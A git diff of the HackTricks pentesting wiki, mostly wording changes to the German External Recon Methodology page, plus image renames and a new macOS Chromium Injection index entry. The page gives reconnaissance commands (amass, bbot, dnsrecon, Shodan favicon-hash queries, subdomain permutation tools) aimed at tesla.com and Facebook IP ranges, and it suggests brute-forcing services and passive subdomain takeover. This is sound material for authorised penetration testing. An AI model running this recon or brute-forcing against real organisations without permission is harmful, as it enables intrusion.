diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..e70bceed6 Binary files /dev/null and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index e70bceed6..2173ed0a4 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 2173ed0a4..53e9f7c1f 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 53e9f7c1f..0ea1b8586 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0ea1b8586..b38f1e7c3 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index b38f1e7c3..0e554c193 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0e554c193..a8cfa5b77 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a8cfa5b77..33c23d55b 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 33c23d55b..bedca8e18 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index bedca8e18..a0a303a29 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a0a303a29..f9a051e20 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png index f9a051e20..0b96b38ef 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png index 0b96b38ef..0ea2dbdc6 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png index 0ea2dbdc6..af973a127 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png index af973a127..4207464e0 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png index 4207464e0..ca4f55331 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png index ca4f55331..1e61555dd 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index 1e61555dd..6856b34b8 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index 6856b34b8..cee86ab50 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index cee86ab50..1a985c3d4 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 1a985c3d4..70fe9294a 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/SUMMARY.md b/SUMMARY.md index a1eda7d91..1f0d19d0f 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -161,6 +161,7 @@ * [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md) * [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md) * [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md) + * [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md) * [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md) * [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md) * [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) @@ -509,7 +510,7 @@ * [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md) * [50030,50060,50070,50075,50090 - Pentesting Hadoop](network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md) -## 🕸 Pentesting Web +## 🕸️ Pentesting Web * [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md) * [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) @@ -664,7 +665,7 @@ * [CSS Injection](pentesting-web/xs-search/css-injection/README.md) * [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md) -## ⛈ Cloud Security +## ⛈️ Cloud Security * [Pentesting Kubernetes](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security) * [Pentesting Cloud (AWS, GCP, Az...)](https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology) @@ -722,7 +723,7 @@ * [ICMPsh](backdoors/icmpsh.md) * [Cobalt Strike](c2/cobalt-strike.md) -## ✍ TODO +## ✍️ TODO * [Other Big References](misc/references.md) * [Rust Basics](todo/rust-basics.md) diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index b1f0ce219..7e94f5bb7 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -2,7 +2,7 @@
-Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! +Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: @@ -14,7 +14,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
-
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). @@ -28,8 +28,8 @@ Das Ziel dieser Phase ist es, alle **Unternehmen, die dem Hauptunternehmen gehö 1. Die Übernahmen des Hauptunternehmens finden, dies gibt uns die Unternehmen im Rahmen. 2. Die ASN (falls vorhanden) jedes Unternehmens finden, dies gibt uns die IP-Bereiche, die von jedem Unternehmen besessen werden. -3. Reverse-Whois-Lookups verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) im Zusammenhang mit dem ersten zu suchen (dies kann rekursiv durchgeführt werden). -4. Andere Techniken wie Shodan `org` und `ssl`-Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden). +3. Reverse-Whois-Suchen verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) im Zusammenhang mit dem ersten zu suchen (dies kann rekursiv durchgeführt werden). +4. Andere Techniken wie Shodan `org`und `ssl`-Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden). ### **Übernahmen** @@ -46,13 +46,13 @@ Ein **AS** besteht aus **Blöcken** von **IP-Adressen**, die eine klar definiert Es ist interessant zu erfahren, ob das **Unternehmen eine ASN zugewiesen hat**, um seine **IP-Bereiche zu finden**. Es wird interessant sein, einen **Vulnerabilitätstest** gegen alle **Hosts** im **Rahmen** durchzuführen und nach Domains innerhalb dieser IPs zu suchen.\ Sie können nach dem Unternehmensnamen, nach der IP oder nach der Domain unter [**https://bgp.he.net/**](https://bgp.he.net)** suchen.**\ -**Je nach Region des Unternehmens könnten diese Links nützlich sein, um mehr Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). In jedem Fall erscheinen wahrscheinlich alle** nützlichen Informationen **(IP-Bereiche und Whois)** bereits im ersten Link. +**Je nach Region des Unternehmens könnten diese Links nützlich sein, um mehr Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Wie auch immer, wahrscheinlich erscheinen bereits alle** nützlichen Informationen **(IP-Bereiche und Whois)** im ersten Link. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -Auch [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** Subdomain-Enumeration aggregiert automatisch ASNs am Ende des Scans und fasst sie zusammen. +Auch die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot) aggregiert und fasst automatisch ASNs am Ende des Scans zusammen. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -69,14 +69,14 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` -Du kannst die IP-Bereiche einer Organisation auch unter Verwendung von [http://asnlookup.com/](http://asnlookup.com) finden (es hat eine kostenlose API).\ -Du kannst die IP und ASN einer Domain unter Verwendung von [http://ipv4info.com/](http://ipv4info.com) finden. +Du kannst die IP-Bereiche einer Organisation auch unter Verwendung von [http://asnlookup.com/](http://asnlookup.com) (es hat eine kostenlose API) finden.\ +Du kannst die IP-Adresse und ASN einer Domain unter Verwendung von [http://ipv4info.com/](http://ipv4info.com) finden. ### **Suche nach Schwachstellen** Zu diesem Zeitpunkt kennen wir **alle Assets im Umfang**, daher könntest du, wenn erlaubt, einen **Schwachstellen-Scanner** (Nessus, OpenVAS) über alle Hosts starten.\ Außerdem könntest du einige [**Port-Scans**](../pentesting-network/#discovering-hosts-from-the-outside) durchführen **oder Dienste wie** Shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was du findest, solltest du** in diesem Buch nachsehen, wie du verschiedene mögliche Dienste pentesten kannst.\ -**Außerdem könnte es sich lohnen zu erwähnen, dass du auch einige** Standard-Benutzername **und** Passwortlisten **vorbereiten und versuchen kannst, Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu brute-forcen. +**Außerdem könnte es sich lohnen zu erwähnen, dass du auch einige** Standard-Benutzernamen **und** Passwortlisten **vorbereiten und versuchen kannst, Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu brute-forcen. ## Domains @@ -84,7 +84,7 @@ Außerdem könntest du einige [**Port-Scans**](../pentesting-network/#discoverin _Bitte beachte, dass du in den folgenden vorgeschlagenen Techniken auch Subdomains finden kannst und diese Informationen nicht unterschätzt werden sollten._ -Zuerst solltest du nach den **Hauptdomains** jeder Firma suchen. Zum Beispiel ist für _Tesla Inc._ wird es _tesla.com_ sein. +Zuerst solltest du nach den **Hauptdomains** jedes Unternehmens suchen. Zum Beispiel ist für _Tesla Inc._ wird es _tesla.com_ sein. ### **Reverse DNS** @@ -95,24 +95,21 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` -Um dies zu ermöglichen, muss der Administrator manuell das PTR aktivieren.\ -Sie können auch ein Online-Tool für diese Informationen verwenden: [http://ptrarchive.com/](http://ptrarchive.com) +### **Rückwärtssuche Whois (Schleife)** -### **Reverse Whois (Schleife)** - -Innerhalb eines **whois** können Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern finden... Aber noch interessanter ist, dass Sie **weitere Assets im Zusammenhang mit dem Unternehmen** finden können, wenn Sie **Reverse-Whois-Suchen nach einem dieser Felder durchführen** (zum Beispiel in anderen Whois-Registern, in denen dieselbe E-Mail erscheint).\ -Sie können Online-Tools wie: +Innerhalb eines **whois** können Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern finden... Aber noch interessanter ist, dass Sie **weitere Assets im Zusammenhang mit dem Unternehmen** finden können, wenn Sie **Rückwärtssuchen im Whois nach einem dieser Felder** durchführen (zum Beispiel in anderen Whois-Registern, in denen dieselbe E-Mail-Adresse erscheint).\ +Sie können Online-Tools wie folgt verwenden: * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Kostenlos** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Kostenlos** * [https://www.reversewhois.io/](https://www.reversewhois.io) - **Kostenlos** -* [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** Web, nicht kostenloses API. +* [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** web, nicht kostenloses API. * [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nicht kostenlos * [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nicht kostenlos (nur **100 kostenlose** Suchen) * [https://www.domainiq.com/](https://www.domainiq.com) - Nicht kostenlos Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink)verwenden (erfordert einen Whoxy-API-Schlüssel).\ -Sie können auch automatische Reverse-Whois-Entdeckungen mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois` +Sie können auch einige automatische Rückwärtssuchen im Whois mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois` **Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.** @@ -131,7 +128,7 @@ Es gibt einige Seiten und Tools, mit denen Sie nach diesen Trackern und mehr suc ### **Favicon** -Wussten Sie, dass wir verwandte Domains und Subdomains zu unserem Ziel finden können, indem wir nach demselben Favicon-Icon-Hash suchen? Genau das macht das [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)-Tool von [@m4ll0k2](https://twitter.com/m4ll0k2). So verwenden Sie es: +Wussten Sie, dass wir verwandte Domains und Subdomains unseres Ziels finden können, indem wir nach demselben Favicon-Icon-Hash suchen? Genau das macht das [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)-Tool von [@m4ll0k2](https://twitter.com/m4ll0k2). So verwenden Sie es: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -140,11 +137,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s Einfach ausgedrückt ermöglicht es uns favihash, Domains zu entdecken, die denselben Favicon-Symbol-Hash wie unser Ziel haben. -Darüber hinaus können Sie auch Technologien mithilfe des Favicon-Hash suchen, wie in [**diesem Blog-Beitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass Sie, wenn Sie den **Hash des Favicons einer verwundbaren Version einer Web-Technologie** kennen, in Shodan danach suchen können und **mehr verwundbare Stellen finden**. +Darüber hinaus können Sie auch Technologien mithilfe des Favicon-Hash suchen, wie in [**diesem Blog-Beitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass Sie, wenn Sie den **Hash des Favicons einer verwundbaren Version einer Web-Technologie** kennen, in Shodan danach suchen können und **mehr verwundbare Stellen finden**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` -So berechnen Sie den **Favicon-Hash** einer Webseite: +Das ist, wie du den **Favicon-Hash berechnen** kannst einer Webseite: ```python import mmh3 import requests @@ -159,7 +156,7 @@ return fhash ``` ### **Urheberrecht / Eindeutiger String** -Suchen Sie in den Webseiten nach **Zeichenfolgen, die in der gleichen Organisation auf verschiedenen Websites geteilt werden könnten**. Die **Urheberrechtszeichenfolge** könnte ein gutes Beispiel sein. Suchen Sie dann nach dieser Zeichenfolge in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Urheberrechtszeichenfolge"` +Suchen Sie in den Webseiten nach **Zeichenfolgen, die in verschiedenen Websites derselben Organisation geteilt werden könnten**. Die **Urheberrechtszeichenfolge** könnte ein gutes Beispiel sein. Suchen Sie dann nach dieser Zeichenfolge in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Urheberrechtszeichenfolge"` ### **CRT-Zeit** @@ -168,52 +165,52 @@ Es ist üblich, einen Cron-Job wie folgt zu haben: # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -### Externe Aufklärungsmethodik +### Externe Recherche-Methodik -Um alle Domain-Zertifikate auf dem Server zu erneuern, selbst wenn die CA, die dafür verwendet wird, die Generierungszeit nicht im Gültigkeitszeitraum angibt, ist es möglich, **Domänen, die demselben Unternehmen gehören, in den Zertifikatstransparenz-Logs zu finden**.\ +Um alle Domain-Zertifikate auf dem Server zu erneuern. Dies bedeutet, dass selbst wenn die CA, die dafür verwendet wird, die Zeit, zu der es generiert wurde, nicht im Gültigkeitszeitraum angibt, es möglich ist, **Domains, die demselben Unternehmen gehören, in den Zertifikatstransparenz-Logs zu finden**.\ Schauen Sie sich dieses [**Writeup für weitere Informationen**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/) an. ### **Passive Übernahme** -Es ist anscheinend üblich, Subdomänen IP-Adressen zuzuweisen, die Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse zu verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher wird durch das **Starten einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **die Kontrolle über einige Subdomänen übernommen**. +Es ist anscheinend üblich, dass Personen Subdomains IP-Adressen von Cloud-Anbietern zuweisen und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher werden durch das **Starten einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernommen**. -[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das eine VM in DigitalOcean **startet**, die **IPv4** des neuen Geräts **abruft** und in Virustotal nach Subdomänen-Einträgen sucht, die darauf verweisen. +[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean startet**, die **IPv4** des neuen Geräts **abruft** und in Virustotal nach Subdomain-Einträgen sucht, die darauf verweisen. -### **Andere Methoden** +### **Andere Möglichkeiten** **Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.** **Shodan** -Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie nach diesen Daten in Shodan suchen, indem Sie Folgendes verwenden: `org:"Tesla, Inc."`. Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domänen im TLS-Zertifikat. +Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie nach diesen Daten in Shodan suchen, indem Sie Folgendes verwenden: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat. -Sie könnten auf das **TLS-Zertifikat** der Hauptwebseite zugreifen, den **Organisationsnamen** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder verwenden Sie ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Sie könnten auf das **TLS-Zertifikat** der Hauptwebseite zugreifen, den **Organisationsnamen** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller bekannten Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder verwenden Sie ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **mit einer Hauptdomäne verbundenen Domänen** und **Subdomänen** von ihnen sucht, ziemlich erstaunlich. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **mit einer Hauptdomain verbundenen Domains** und **Subdomains** von ihnen sucht, ziemlich erstaunlich. -### **Suche nach Schwachstellen** +### **Nach Schwachstellen suchen** Überprüfen Sie auf [Domain-Übernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Möglicherweise verwendet ein Unternehmen **eine Domain**, hat aber **die Eigentümerschaft verloren**. Registrieren Sie sie einfach (wenn sie billig genug ist) und informieren Sie das Unternehmen. Wenn Sie eine **Domain mit einer anderen IP** als denjenigen finden, die Sie bereits in der Assets-Entdeckung gefunden haben, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie "anzugreifen"**.\ -_Beachten Sie, dass die Domain manchmal in einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt. Seien Sie vorsichtig._ +_Beachten Sie, dass die Domain manchmal innerhalb einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt, seien Sie vorsichtig._ \ **Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns noch heute bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und beginnen Sie, Prämien von bis zu **100.000 $** zu verdienen! {% embed url="https://go.intigriti.com/hacktricks" %} -## Subdomänen +## Subdomains -> Wir kennen alle Unternehmen im Scope, alle Vermögenswerte jedes Unternehmens und alle mit den Unternehmen verbundenen Domänen. +> Wir kennen alle Unternehmen im Scope, alle Vermögenswerte jedes Unternehmens und alle mit den Unternehmen verbundenen Domains. -Es ist an der Zeit, alle möglichen Subdomänen jeder gefundenen Domain zu finden. +Es ist an der Zeit, alle möglichen Subdomains jeder gefundenen Domain zu finden. ### **DNS** -Versuchen wir, **Subdomänen** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zone Transfer** suchen (Wenn anfällig, sollten Sie es melden). +Lassen Sie uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zone Transfer** suchen (Wenn anfällig, sollten Sie es melden). ```bash dnsrecon -a -d tesla.com ``` @@ -393,12 +390,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` * [**altdns**](https://github.com/infosec-au/altdns): Neben der Generierung von Subdomain-Permutationen kann es auch versuchen, sie aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden). -* Sie können die altdns Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten. +* Du kannst die altdns Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) bekommen. ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` * [**dmut**](https://github.com/bp0lr/dmut): Ein weiteres Tool zur Durchführung von Permutationen, Mutationen und Änderungen von Subdomains. Dieses Tool wird das Ergebnis per Bruteforce erzwingen (es unterstützt keine DNS-Wildcards). -* Sie können die dmut-Permutationswortliste [**hier**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) erhalten. +* Du kannst die dmut-Permutationswortliste [**hier**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) erhalten. ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt @@ -407,19 +404,19 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ #### Intelligente Permutationserzeugung -* [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber es wird im Wesentlichen die **Hauptteile** der **entdeckten Subdomains** erhalten und sie mischen, um mehr Subdomains zu finden. 